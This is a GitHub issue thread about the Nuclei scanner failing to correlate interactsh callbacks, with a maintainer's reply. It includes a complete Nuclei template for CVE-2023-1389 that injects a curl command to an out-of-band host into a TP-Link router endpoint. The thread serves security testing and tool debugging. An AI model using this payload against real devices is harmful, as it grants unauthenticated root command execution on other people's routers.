[BUG] Nuclei is not correlating interactsh-server

[DEVisions]

Nuclei version: v3.2.9

Current Behavior:

Nuclei is not correlating interaction in interact.sh with the current scan. If in my template I hardcode an address from app.interactsh.com there I see all interactions. If in my template I use {{interactsh-url}} Nuclei is not picking up the interactions and outputs:
[INF] No results found. Better luck next time!

Expected Behavior:

Nuclei should output a True Positive for the vulnerability as I confirmed the payload is working correctly.

Steps To Reproduce:

If you find a target you can use the template I'm working on. I could provide privately an example target.

Template:

id: CVE-2023-1389

info:
    name: TP-Link Router - Unauthenticated Command Injection
    author: DEVisions
    severity: high
    description: |
        Some TP-Link firmware versions before 1.1.4 Build 20230219 contained a command injection vulnerability in the country form of the /cgi-bin/luci;stok=/locale endpoint on the web management interface. Specifically, the country parameter of the write operation was not sanitized before being used in a call to popen(), allowing an unauthenticated attacker to inject commands, which would be run as root, with a simple GET or POST request.
    classification:
        cvss-metrics: 'CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H'
        cvss-score: 8.8
        cve-id: CVE-2023-1389
        cwe-id: CWE-77
    metadata:
        product: TP-Link Router
    tags: cve,cve2023,tp-link,router,command-injection

variables:
    cmd: 'curl+http://{{interactsh-url}}'
    # cmd: 'curl+http://awcysojjnkloewdyrterfiq5a532vvcs5.oast.fun'  # hardcoded app.interactsh.com address that confirms the interaction happens

http:
    - raw:
          - |
              GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$({{cmd}}) HTTP/1.1
              Host: {{Hostname}}

      attack: batteringram
      payloads:
          count: [1, 2, 3] # Number of retries
      threads: 1

      stop-at-first-match: true
      matchers-condition: and
      matchers:
          - type: word
            part: interactsh_protocol # Confirms the DNS Interaction
            name: oob_interaction
            words:
                - 'http'
                - 'dns'
            condition: or
          - type: status
            part: header
            status:
                - 200

Proof that the template is working as intended while nuclei it's not:

Picture as proof that when uncommenting the hard-coded value in the template and using that instead of the template placeholder {{interactsh-url}} the target indeed is interacting with interactsh and it's nuclei that it's not picking up said interaction.

Anything else:

This issue should have been addressed here in issue #1844 but it's still present.

[ehsandeep]

@DEVisions This is not the expected use, interactsh integration is built-in with nuclei that works with template placeholder to auto generated payload and co-relate interaction in same nuclei execution, it can not co related interaction for payload that are generated outside of template.

[DEVisions]

Yes I know. What I meant is that if I use the template placeholder {{interactsh-url}} Nuclei is not detecting the interaction. If in the template I use an hard-coded value, in the app.interactsh.com interface I can see the interaction. You can see in my template that under "variables: > cmd:" I tested both (template placeholder and hard-coded value) with the template to see if it was my mistake. The template is working as expected, it's nuclei that it's not.

The picture of app.interactsh.com only served the purpose to make clear that the template was indeed provoking an interaction from the target that was not picked up from nuclei.